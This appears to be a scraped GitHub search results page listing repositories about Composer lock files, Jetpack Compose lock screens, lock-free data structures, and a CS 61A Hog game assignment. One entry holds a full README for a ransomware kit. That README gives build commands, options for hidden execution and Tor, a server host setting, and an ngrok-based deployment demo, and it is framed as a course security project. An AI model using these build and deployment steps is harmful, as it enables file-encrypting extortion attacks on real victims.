Found 114 repositories(showing 30)
davidrjonas
See what has changed after a composer update
abhir98
Project Summary This project was developed for the Computer Security course at my academic degree. Basically, it will encrypt your files in background using AES-256-CTR, a strong encryption algorithm, using RSA-4096 to secure the exchange with the server, optionally using the Tor SOCKS5 Proxy. The base functionality is what you see in the famous ransomware Cryptolocker. The project is composed by three parts, the server, the malware and the unlocker. The server store the victim's identification key along with the encryption key used by the malware. The malware encrypt with a RSA-4096 (RSA-OAEP-4096 + SHA256) public key any payload before send then to the server. This approach with the optional Tor Proxy and a .onion domain allow you to hide almost completely your server. Features Run in Background (or not) Encrypt files using AES-256-CTR(Counter Mode) with random IV for each file. Multithreaded. RSA-4096 to secure the client/server communication. Includes an Unlocker. Optional TOR Proxy support. Use an AES CTR Cypher with stream encryption to avoid load an entire file into memory. Walk all drives by default. Docker image for compilation. Building the binaries DON'T RUN ransomware.exe IN YOUR PERSONAL MACHINE, EXECUTE ONLY IN A TEST ENVIRONMENT! I'm not resposible if you acidentally encrypt all of your disks! First of all download the project outside your $GOPATH: git clone github.com/mauri870/ransomware cd ransomware If you have Docker skip to the next section. You need Go at least 1.11.2 with the $GOPATH/bin in your $PATH and $GOROOT pointing to your Go installation folder. For me: export GOPATH=~/gopath export PATH=$PATH:$GOPATH/bin export GOROOT=/usr/local/go Build the project require a lot of steps, like the RSA key generation, build three binaries, embed manifest files, so, let's leave make do your job: make deps make You can build the server for windows with make -e GOOS=windows. Docker ./build-docker.sh make Config Parameters You can change some of the configs during compilation. Instead of run only make, you can use the following variables: HIDDEN='-H windowsgui' # optional. If present the malware will run in background USE_TOR=true # optional. If present the malware will download the Tor proxy and use it to contact the server SERVER_HOST=mydomain.com # the domain used to connect to your server. localhost, 0.0.0.0, 127.0.0.1 works too if you run the server on the same machine as the malware SERVER_PORT=8080 # the server port, if using a domain you can set this to 80 GOOS=linux # the target os to compile the server. Eg: darwin, linux, windows Example: make -e USE_TOR=true SERVER_HOST=mydomain.com SERVER_PORT=80 GOOS=darwin The SERVER_ variables above only apply to the malware. The server has a flag --port that you can use to change the port that it will listen on. DON'T RUN ransomware.exe IN YOUR PERSONAL MACHINE, EXECUTE ONLY IN A TEST ENVIRONMENT! I'm not resposible if you acidentally encrypt all of your disks! Step by Step Demo and How it Works For this demo I'll use two machines, my personal linux machine and a windows 10 VM. For the sake of simplicity, I have a folder mapped to the VM, so I can compile from my linux and copy to the vm. In this demo we will use the Ngrok tool, this will allow us to expose our server using a domain, but you can use your own domain or ip address if you want. We are also going to enable the Tor transport, so .onion domains will work without problems. First of all lets start our external domain: ngrok http 8080 This command will give us a url like http://2af7161c.ngrok.io. Keep this command running otherwise the malware won't reach our server. Let's compile the binaries (remember to replace the domain): make -e SERVER_HOST=2af7161c.ngrok.io SERVER_PORT=80 USE_TOR=true The SERVER_PORT needs to be 80 in this case, since ngrok redirects 2af7161c.ngrok.io:80 to your local server port 8080. After build, a binary called ransomware.exe, and unlocker.exe along with a folder called server will be generated in the bin folder. The execution of ransomware.exe and unlocker.exe (even if you use a diferent GOOS variable during compilation) is locked to windows machines only. Enter the server directory from another terminal and start it: cd bin/server && ./server --port 8080 To make sure that all is working correctly, make a http request to http://2af7161c.ngrok.io: curl http://2af7161c.ngrok.io If you see a OK and some logs in the server output you are ready to go. Now move the ransomware.exe and unlocker.exe to the VM along with some dummy files to test the malware. You can take a look at cmd/common.go to see some configuration options like file extensions to match, directories to scan, skipped folders, max size to match a file among others. Then simply run the ransomware.exe and see the magic happens 😄. The window that you see can be hidden using the HIDDEN option described in the compilation section. After download, extract and start the Tor proxy, the malware waits until the tor bootstrapping is done and then proceed with the key exchange with the server. The client/server handshake takes place and the client payload, encrypted with an RSA-4096 public key must be correctly decrypted on the server. The victim identification and encryption keys are stored in a Golang embedded database called BoltDB (it also persists on disk). When completed we get into the find, match and encrypt phase, up to N-cores workers start to encrypt files matched by the patterns defined. This proccess is really quick and in seconds all of your files will be gone. The encryption key exchanged with the server was used to encrypt all of your files. Each file has a random primitive called IV, generated individually and saved as the first 16 bytes of the encrypted content. The algorithm used is AES-256-CTR, a good AES cypher with streaming mode of operation such that the file size is left intact. The only two sources of information available about what just happen are the READ_TO_DECRYPT.html and FILES_ENCRYPTED.html in the Desktop. In theory, to decrypt your files you need to send an amount of BTC to the attacker's wallet, followed by a contact sending your ID(located on the file created on desktop). If the attacker can confirm your payment it will possibly(or maybe not) return your encryption key and the unlocker.exe and you can use then to recover your files. This exchange can be accomplished in several ways and WILL NOT be implemented in this project for obvious reasons. Let's suppose you get your encryption key back. To recover the correct key point to the following url: curl -k http://2af7161c.ngrok.io/api/keys/:id Where :id is your identification stored in the file on desktop. After, run the unlocker.exe by double click and follow the instructions. That's it, got your files back 😄 The server has only two endpoints: POST api/keys/add - Used by the malware to persist new keys. Some verifications are made, like the verification of the RSA autenticity. Returns 204 (empty content) in case of success or a json error. GET api/keys/:id - Id is a 32 characters parameter, representing an Id already persisted. Returns a json containing the encryption key or a json error The end As you can see, building a functional ransomware, with some of the best existing algorithms is not difficult, anyone with some programming skills can build that in any programming language.
Diggsey
Composable, lock-free, allocation-light data structures
Running VPN with a network lock in Docker Compose
therewasluna
jetpack compose pattern lock library
raheemadamboev
🔐 Light library that is beautiful Pin Lock screen for Jetpack Compose
durban
Experiments with composable lock-free concurrency
t4web
OOP reader of composer.lock file
WyriHaximus
GitHub Action that diffs composer.lock between current branch and default branch
danielbachhuber
Run composer-lock-updater in your CI system for bot-powered composer.lock pull requests.
breakersol
Activity Framework is a C++23 toolkit for composing reflective, asynchronous work: a lock-free task queue, work-stealing thread pool, pipelines, coroutine helpers, and a Qt-like signal/slot system built on top of a compile-time reflection layer.
kubawerlos
Composer plugin to make composer.lock smaller and more readable
oscarlab
Framework for creating simple, efficient, and composable lock-free data structures
Snyk composer.lock file parser
PrinsFrank
FUNCTIONALITY NOW PROVIDED BY COMPOSER ITSELF.
flybunctious
Introduction In this project, you will develop a simulator and multiple strategies for the dice game Hog. You will need to use control statements and higher-order functions together, as described in Sections 1.2 through 1.6 of Composing Programs. In Hog, two players alternate turns trying to be the first to end a turn with at least 100 total points. On each turn, the current player chooses some number of dice to roll, up to 10. That player's score for the turn is the sum of the dice outcomes. To spice up the game, we will play with some special rules: Pig Out. If any of the dice outcomes is a 1, the current player's score for the turn is 1. Example 1: The current player rolls 7 dice, 5 of which are 1's. They score 1 point for the turn. Example 2: The current player rolls 4 dice, all of which are 3's. Since Pig Out did not occur, they score 12 points for the turn. Free Bacon. A player who chooses to roll zero dice scores one more than the largest digit in the opponent's total score. Example 1: If the opponent has 42 points, the current player gains 1 + max(4, 2) = 5 points by rolling zero dice. Example 2: If the opponent has 48 points, the current player gains 1 + max(4, 8) = 9 points by rolling zero dice. Example 3: If the opponent has 7 points, the current player gains 1 + max(0, 7) = 8 points by rolling zero dice. Swine Swap. After points for the turn are added to the current player's score, if both scores are larger than 1 and either one of the scores is a positive integer multiple of the other, then the two scores are swapped. Example 1: The current player has a total score of 37 and the opponent has 92. The current player rolls two dice that total 9. The opponent's score (92) is exactly twice the player's new total score (46). These scores are swapped! The current player now has 92 points and the opponent has 46. The turn ends. Example 2: The current player has 91 and the opponent has 37. The current player rolls five dice that total 20. The current player has 111, which is 3 times 37, so the scores are swapped. The opponent ends the turn with 111 and wins the game. Download starter files To get started, download all of the project code as a zip archive. You only have to make changes to hog.py. hog.py: A starter implementation of Hog dice.py: Functions for rolling dice hog_gui.py: A graphical user interface for Hog ucb.py: Utility functions for CS 61A ok: CS 61A autograder tests: A directory of tests used by ok images: A directory of images used by hog_gui.py Logistics This is a 2-week project. This is a solo project, so you will complete this project without a partner. You should not share your code with any other students, or copy from anyone else's solutions. Remember that you can earn an additional bonus point by submitting the project at least 24 hours before the deadline. The project is worth 20 points. 18 points are assigned for correctness, and 2 points for the overall composition of your program. You will turn in the following files: hog.py You do not need to modify or turn in any other files to complete the project. To submit the project, run the following command: python3 ok --submit You will be able to view your submissions on the Ok dashboard. For the functions that we ask you to complete, there may be some initial code that we provide. If you would rather not use that code, feel free to delete it and start from scratch. You may also add new function definitions as you see fit. However, please do not modify any other functions. Doing so may result in your code failing our autograder tests. Also, please do not change any function signatures (names, argument order, or number of arguments). Testing Throughout this project, you should be testing the correctness of your code. It is good practice to test often, so that it is easy to isolate any problems. However, you should not be testing too often, to allow yourself time to think through problems. We have provided an autograder called ok to help you with testing your code and tracking your progress. The first time you run the autograder, you will be asked to log in with your Ok account using your web browser. Please do so. Each time you run ok, it will back up your work and progress on our servers. The primary purpose of ok is to test your implementations, but there are two things you should be aware of. First, some of the test cases are locked. To unlock tests, run the following command from your terminal: python3 ok -u This command will start an interactive prompt that looks like: ===================================================================== Assignment: The Game of Hog Ok, version ... ===================================================================== ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Unlocking tests At each "? ", type what you would expect the output to be. Type exit() to quit --------------------------------------------------------------------- Question 0 > Suite 1 > Case 1 (cases remaining: 1) >>> Code here ? At the ?, you can type what you expect the output to be. If you are correct, then this test case will be available the next time you run the autograder. The idea is to understand conceptually what your program should do first, before you start writing any code. Once you have unlocked some tests and written some code, you can check the correctness of your program using the tests that you have unlocked: python3 ok Most of the time, you will want to focus on a particular question. Use the -q option as directed in the problems below. We recommend that you submit after you finish each problem. Only your last submission will be graded. It is also useful for us to have more backups of your code in case you run into a submission issue. The tests folder is used to store autograder tests, so do not modify it. You may lose all your unlocking progress if you do. If you need to get a fresh copy, you can download the zip archive and copy it over, but you will need to start unlocking from scratch. If you do not want us to record a backup of your work or information about your progress, use the --local option when invoking ok. With this option, no information will be sent to our course servers. Graphical User Interface A graphical user interface (GUI, for short) is provided for you. At the moment, it doesn't work because you haven't implemented the game logic. Once you complete the play function, you will be able to play a fully interactive version of Hog! In order to render the graphics, make sure you have Tkinter, Python's main graphics library, installed on your computer. Once you've done that, you can run the GUI from your terminal: python3 hog_gui.py Once you complete the project, you can play against the final strategy that you've created! python3 hog_gui.py -f Phase 1: Simulator In the first phase, you will develop a simulator for the game of Hog. Problem 0 (0 pt) The dice.py file represents dice using non-pure zero-argument functions. These functions are non-pure because they may have different return values each time they are called. The documentation of dice.py describes the two different types of dice used in the project: Dice can be fair, meaning that they produce each possible outcome with equal probability. Example: six_sided. For testing functions that use dice, deterministic test dice always cycle through a fixed sequence of values that are passed as arguments to the make_test_dice function. Before we start writing any code, let's understand the make_test_dice function by unlocking its tests. python3 ok -q 00 -u This should display a prompt that looks like this: ===================================================================== Assignment: Project 1: Hog Ok, version v1.5.2 ===================================================================== ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Unlocking tests At each "? ", type what you would expect the output to be. Type exit() to quit --------------------------------------------------------------------- Question 0 > Suite 1 > Case 1 (cases remaining: 1) >>> test_dice = make_test_dice(4, 1, 2) >>> test_dice() ? You should type in what you expect the output to be. To do so, you need to first figure out what test_dice will do, based on the description above. You can exit the unlocker by typing exit() (without quotes). Typing Ctrl-C on Windows to exit out of the unlocker has been known to cause problems, so avoid doing so. Problem 1 (2 pt) Implement the roll_dice function in hog.py. It takes two arguments: a positive integer called num_rolls giving the number of dice to roll and a dice function. It returns the number of points scored by rolling the dice that number of times in a turn: either the sum of the outcomes or 1 (Pig Out). To obtain a single outcome of a dice roll, call dice(). You should call dice() exactly num_rolls times in the body of roll_dice. Remember to call dice() exactly num_rolls times even if Pig Out happens in the middle of rolling. In this way, we correctly simulate rolling all the dice together. Checking Your Work: Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 01 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 01 If the tests don't pass, it's time to debug. You can observe the behavior of your function using Python directly. First, start the Python interpreter and load the hog.py file. python3 -i hog.py Then, you can call your roll_dice function on any number of dice you want, such as 4. >>> roll_dice(4) In most systems, you can evaluate the same expression again by pressing the up arrow or Control-P, then pressing enter or return. You should find that evaluating this call expression gives a different answer each time, since dice rolls are random. The roll_dice function has a default argument value for dice that is a random six-sided dice function. You can also use test dice that fix the outcomes of the dice in advance. For example, rolling twice when you know that the dice will come up 3 and 4 should give a total outcome of 7. >>> fixed_dice = make_test_dice(3, 4) >>> roll_dice(2, fixed_dice) 7 If you find a problem, you need to change your hog.py file, save it, quit Python, start it again, and then start evaluating expressions. Pressing the up arrow should give you access to your previous expressions, even after restarting Python. Once you think that your roll_dice function is correct, run the ok tests again. Tests like these don't prove that your program is exactly correct, but they help you build confidence that this part of your program does what you expect, so that you can trust the abstraction it defines as you proceed. Problem 2 (1 pt) Implement the free_bacon helper function that returns the number of points scored by rolling 0 dice, based on the opponent's current score. You can assume that score is less than 100. For a score less than 10, assume that the first of the two digits is 0. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 02 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 02 You can also test free_bacon interactively by entering python3 -i hog.py in the terminal and then calling free_bacon with various inputs. Problem 3 (1 pt) Implement the take_turn function, which returns the number of points scored for a turn by the current player. Your implementation should call roll_dice when possible. You will need to implement the Free Bacon rule. You can assume that opponent_score is less than 100. Call free_bacon in your implementation of take_turn. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 03 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 03 Problem 4 (1 pt) Implement is_swap, which returns whether or not the scores should be swapped because one is an integer multiple of the other. The is_swap function takes two arguments: the player scores. It returns a boolean value to indicate whether the Swine Swap condition is met. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 04 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 04 Problem 5 (3 pt) Implement the play function, which simulates a full game of Hog. Players alternate turns, each using their respective strategy function (Player 0 uses strategy0, etc.), until one of the players reaches the goal score. When the game ends, play returns the final total scores of both players, with Player 0's score first, and Player 1's score second. Here are some hints: You should use the functions you have already written! You will need to call take_turn with all three arguments. Only call take_turn once per turn. Enforce all the special rules. You can get the number of the other player (either 0 or 1) by calling the provided function other. You can ignore the say argument to the play function for now. You will use it in Phase 2 of the project. A strategy is a function that, given a player's score and their opponent's score, returns how many dice the player wants to roll. A strategy function (such as strategy0 and strategy1) takes two arguments: scores for the current player and opposing player, which both must be non-negative integers. A strategy function returns the number of dice that the current player wants to roll in the turn. Each strategy function should be called only once per turn. Don't worry about the details of implementing strategies yet. You will develop them in Phase 3. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 05 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 05 The last test for Question 5 is a fuzz test, which checks that your play function works for a large number of different inputs. Failing this test means something is wrong, but you should look at other tests to see where the problem might be. Once you are finished, you will be able to play a graphical version of the game. We have provided a file called hog_gui.py that you can run from the terminal: python3 hog_gui.py If you don't already have Tkinter (Python's graphics library) installed, you'll need to install it first before you can run the GUI. The GUI relies on your implementation, so if you have any bugs in your code, they will be reflected in the GUI. This means you can also use the GUI as a debugging tool; however, it's better to run the tests first. Congratulations! You have finished Phase 1 of this project! Phase 2: Commentary In the second phase, you will implement commentary functions that print remarks about the game, such as, "22 points! That's the biggest gain yet for Player 1." A commentary function takes two arguments, the current score for Player 0 and the current score for Player 1. It returns another commentary function to be called on the next turn. It may also print some output as a side effect of being called. The function say_scores in hog.py is an example of a commentary function. The function announce_lead_changes is an example of a higher-order function that returns a commentary function. def say_scores(score0, score1): """A commentary function that announces the score for each player.""" print("Player 0 now has", score0, "and Player 1 now has", score1) return say_scores def announce_lead_changes(previous_leader=None): """Return a commentary function that announces lead changes. >>> f0 = announce_lead_changes() >>> f1 = f0(5, 0) Player 0 takes the lead by 5 >>> f2 = f1(5, 12) Player 1 takes the lead by 7 >>> f3 = f2(8, 12) >>> f4 = f3(8, 13) >>> f5 = f4(15, 13) Player 0 takes the lead by 2 """ def say(score0, score1): if score0 > score1: leader = 0 elif score1 > score0: leader = 1 else: leader = None if leader != None and leader != previous_leader: print('Player', leader, 'takes the lead by', abs(score0 - score1)) return announce_lead_changes(leader) return say Problem 6 (2 pt) Update your play function so that a commentary function is called at the end of each turn. say(score0, score1) should be called at the end of the first turn. Its return value (another commentary function) should be called at the end of the second turn. Each turn, a new commentary function should be called that is the return value of the previous call to a commentary function. Also implement both, a function that takes two commentary functions (f and g) and returns a new commentary function. This new commentary function returns another commentary function which calls the functions returned by calling f and g, in that order. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 06 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 06 Problem 7 (2 pt) Implement the announce_highest function, which is a higher-order function that returns a commentary function. This commentary function announces whenever a particular player gains more points in a turn than ever before. To compute the gain, it must compare the score from last turn to the score from this turn for the player of interest, which is designated by the who argument. This function must also keep track of the highest gain for the player so far. The way in which announce_highest announces is very specific, and your implementation should match the doctests provided. Notice in particular that if the gain is only 1 point, then the message includes "point" in singular form. If the gain is larger, then the message includes "points" in plural form. Use Ok to test your code: python3 ok -q 07 Hint. The announce_lead_changes function provided to you is an example of how to keep track of information using commentary functions. If you are stuck, first make sure you understand how announce_lead_changes works. When you are done, if play the game again, you will see the commentary. python3 hog_gui.py The commentary in the GUI is generated by passing the following function as the say argument to play. both(announce_highest(0), both(announce_highest(1), announce_lead_changes())) Great work! You just finished Phase 2 of the project! Phase 3: Strategies In the third phase, you will experiment with ways to improve upon the basic strategy of always rolling a fixed number of dice. First, you need to develop some tools to evaluate strategies. Problem 8 (2 pt) Implement the make_averaged function, which is a higher-order function that takes a function fn as an argument. It returns another function that takes the same number of arguments as fn (the function originally passed into make_averaged). This returned function differs from the input function in that it returns the average value of repeatedly calling fn on the same arguments. This function should call fn a total of num_samples times and return the average of the results. To implement this function, you need a new piece of Python syntax! You must write a function that accepts an arbitrary number of arguments, then calls another function using exactly those arguments. Here's how it works. Instead of listing formal parameters for a function, we write *args. To call another function using exactly those arguments, we call it again with *args. For example, >>> def printed(fn): ... def print_and_return(*args): ... result = fn(*args) ... print('Result:', result) ... return result ... return print_and_return >>> printed_pow = printed(pow) >>> printed_pow(2, 8) Result: 256 256 >>> printed_abs = printed(abs) >>> printed_abs(-10) Result: 10 10 Read the docstring for make_averaged carefully to understand how it is meant to work. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 08 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 08 Problem 9 (1 pt) Implement the max_scoring_num_rolls function, which runs an experiment to determine the number of rolls (from 1 to 10) that gives the maximum average score for a turn. Your implementation should use make_averaged and roll_dice. If two numbers of rolls are tied for the maximum average score, return the lower number. For example, if both 3 and 6 achieve a maximum average score, return 3. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 09 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 09 To run this experiment on randomized dice, call run_experiments using the -r option: python3 hog.py -r Running experiments For the remainder of this project, you can change the implementation of run_experiments as you wish. By calling average_win_rate, you can evaluate various Hog strategies. For example, change the first if False: to if True: in order to evaluate always_roll(8) against the baseline strategy of always_roll(4). You should find that it wins slightly more often than it loses, giving a win rate around 0.5. Some of the experiments may take up to a minute to run. You can always reduce the number of samples in make_averaged to speed up experiments. Problem 10 (1 pt) A strategy can take advantage of the Free Bacon rule by rolling 0 when it is most beneficial to do so. Implement bacon_strategy, which returns 0 whenever rolling 0 would give at least margin points and returns num_rolls otherwise. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 10 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 10 Once you have implemented this strategy, change run_experiments to evaluate your new strategy against the baseline. You should find that it wins more than half of the time. Problem 11 (2 pt) A strategy can also take advantage of the Swine Swap rule. The swap_strategy rolls 0 if it would cause a beneficial swap. It also returns 0 if rolling 0 would give at least margin points and would not cause a swap. Otherwise, the strategy rolls num_rolls. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 11 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 11 Once you have implemented this strategy, update run_experiments to evaluate your new strategy against the baseline. You should find that it gives a significant edge over always_roll(4). Optional: Problem 12 (0 pt) Implement final_strategy, which combines these ideas and any other ideas you have to achieve a high win rate against the always_roll(4) strategy. Some suggestions: swap_strategy is a good default strategy to start with. There's no point in scoring more than 100. Check whether you can win by rolling 0, 1 or 2 dice. If you are in the lead, you might take fewer risks. Try to force a beneficial swap. Choose the num_rolls and margin arguments carefully. You can check that your final strategy is valid by running Ok. python3 ok -q 12 You can also check your exact final winrate by running python3 calc.py At this point, run the entire autograder to see if there are any tests that don't pass. python3 ok Once you are satisfied, submit to Ok to complete the project. python3 ok --submit You can also play against your final strategy with the graphical user interface: python3 hog_gui.py -f The GUI will alternate which player is controlled by you. Congratulations, you have reached the end of your first CS 61A project! If you haven't already, relax and enjoy a few games of Hog with a friend.
squart300kg
🌻 This library is pattern lock screen with making composable function. Let's use pattern lock screen without hard making this functionality! just add dependency and composable funtion of `BasePatternScreen`! also this library support customically usage. for example, varite dot color, line color, line width etc... Let's start!
terminal42
A library to validate a composer.lock file against your local Composer instance
MakeItEasyDev
No description available
artyomLisovskij
Docker-compose that creates simple queue inside django(with integrated fastapi) and execute items from queue with lock(one worker, many consumers)
pantheon-systems
Provides a "composer lock" service as a Python Flask app in a docker container.
blueland99
Lock Screen App - Android Compose
Louzet
No description available
dbmcclain
A fully lock-free / wait-free implementation of Reppy Channels in Common Lisp. This system not only provides for composable events, but it is also substantially (2x) faster than lock-bound implementations. It is based on an implementation of MCAS (Multiple CAS) and lock-free queues. In an SMP environment there is now little reason to use locks against shared structures. Locks frequently are too coarse and produce bottlenecks in SMP code. The lock-free / wait-free methods here allow competing threads to help other threads reach a conclusion if they have been time-sliced away and were still partway through an MCAS operation.
NgocLienA
Jerboa v0.0.8-alpha Release (2022-02-17) Showing stickied / locked. Fixes #61 (#95) Add no-background post listing. Fixes #91 (#94) Don't show block person on your own profile. Fixes #93 Adding scrollbars to lazycolumns. Fixes #87 (#90) Jerboa v0.0.7-alpha Release (2022-02-06) Merge pull request #86 from dessalines/bottom_bar_highlight Darkblue statusbar color. Fixes #79 (#84) Downgrade compose to fix liststate bug. Fixes #81 Jerboa v0.0.6-alpha Release (2022-02-03)
goalgorilla
Composer plugin to resolve requirements according to an external lock file.
prudloff-insite
Detect dangling Composer locked dependencies
metehanbolatt
Simple Pin Lock View | Jetpack Compose
hassounamohamed
a Fingerprint Lock Screen using Jetpack Compose & Kotlin | Android App Development
masseyis
Keyboard-driven scale-locked note entry tool for Renoise - compose music using QWERTY shortcuts with automatic scale snapping